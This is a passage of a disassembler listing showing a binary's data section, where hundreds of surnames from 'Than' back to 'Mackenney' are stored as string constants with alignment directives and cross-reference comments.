aThan		db 'Than',0             ; DATA XREF: ___:0042E668o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E664o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E660o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E65Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E658o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E654o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E650o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E64Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E648o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E644o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E640o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E63Co
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E638o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E634o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E630o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E62Co
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E628o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E624o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E620o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E61Co
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E618o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E614o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E610o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E60Co
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E608o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E604o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E600o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5FCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5F8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5F4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5F0o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5ECo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5E8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5E4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5E0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5DCo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5D8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5D4o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5D0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E5CCo
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E5C8o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E5C4o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E5C0o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E5BCo
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E5B8o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E5B4o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E5B0o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E5ACo
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E5A8o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E5A4o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E5A0o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E59Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E598o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E594o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E590o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E58Co
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E588o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E584o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E580o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E57Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E578o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E574o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E570o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E56Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E568o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E564o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E560o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E55Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E558o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E554o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E550o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E54Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E548o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E544o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E540o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E53Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: ___:0042E538o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E534o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E530o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E52Co
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E528o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E524o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E520o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E51Co
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E518o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E514o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E510o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E50Co
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E508o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E504o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E500o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4FCo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4F8o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4F4o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4F0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4ECo
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4E8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4E4o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4E0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4DCo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4D8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4D4o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4D0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E4CCo
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E4C8o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E4C4o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E4C0o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E4BCo
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E4B8o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E4B4o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E4B0o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E4ACo
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E4A4o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E4A0o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E49Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E498o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E494o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E490o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E48Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E488o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E484o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E480o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E47Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E478o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E474o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E470o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E46Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E468o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E464o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E460o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E45Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E458o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E454o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E450o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E44Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E448o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E444o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E440o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E43Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E438o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E434o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E430o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E42Co
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E428o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E424o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E420o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E41Co
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E418o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E414o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E410o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E40Co
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E408o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E404o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E400o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3FCo
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3F8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3F4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3F0o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3ECo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3E8o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3E4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3E0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3DCo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3D8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3D4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3D0o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E3CCo
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E3C8o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E3C4o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E3C0o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E3BCo
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E3B8o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E3B4o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E3B0o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E3ACo
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E3A8o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E3A4o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E3A0o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E39Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E398o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E394o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E390o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E38Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E388o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E384o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E380o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E37Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E378o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E374o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E370o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E36Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E368o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E364o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E360o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E35Co
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E358o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E354o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E350o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E34Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E348o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E344o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E340o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E33Co
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E338o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E334o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E330o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E32Co
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E328o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E324o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E320o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E31Co
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E318o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E314o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E310o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E30Co
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E308o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E304o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E300o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2FCo
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2F8o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2F4o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2F0o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2ECo
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2E8o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2E4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2E0o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2DCo
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2D8o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2D4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2D0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E2CCo
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E2C8o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E2C4o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E2C0o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E2BCo
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E2B8o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E2B4o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E2B0o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E2ACo
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E2A8o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E2A4o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E2A0o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E29Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E298o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E294o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E290o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E28Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E288o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E284o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E280o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E27Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E278o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E274o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E270o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E26Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E268o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E264o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E260o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E25Co
aOman		db 'Oman',0             ; DATA XREF: ___:0042E258o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E254o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E250o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E24Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E248o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E244o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E240o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E23Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E238o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E234o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E230o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E22Co
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E228o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E224o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E220o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E21Co
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E218o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E214o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E210o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E20Co
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E208o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E204o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E200o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1FCo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1F8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1F4o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1F0o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1ECo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1E8o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1E4o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1E0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1DCo
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1D8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1D4o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1D0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E1CCo
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E1C8o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E1C4o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E1C0o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E1BCo
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E1B8o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E1B4o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E1B0o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E1ACo
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E1A8o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E1A4o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E1A0o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E19Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E198o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E194o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E190o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E18Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E188o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E184o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E180o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E17Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E178o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E174o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E170o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E16Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E168o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E164o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E160o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E15Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E158o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E154o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E150o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E14Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E148o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E144o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E140o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E13Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E138o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E134o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E130o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E12Co
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E128o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E124o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E120o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E11Co
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E118o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E114o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E110o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E10Co
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E108o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E104o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E100o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0FCo
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0F8o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0F4o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0F0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0ECo
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0E8o
aMay		db 'May',0              ; DATA XREF: ___:0042E0E4o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0E0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0DCo
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0D8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0D4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0D0o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E0CCo
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E0C8o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E0C4o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E0C0o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E0BCo
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E0B8o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E0B4o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E0B0o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E0ACo
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E0A8o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E0A4o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E0A0o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E09Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E098o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E094o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E090o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E08Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E088o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E084o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E080o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E07Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E078o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E074o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E070o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E06Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E068o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E064o
		align 10h
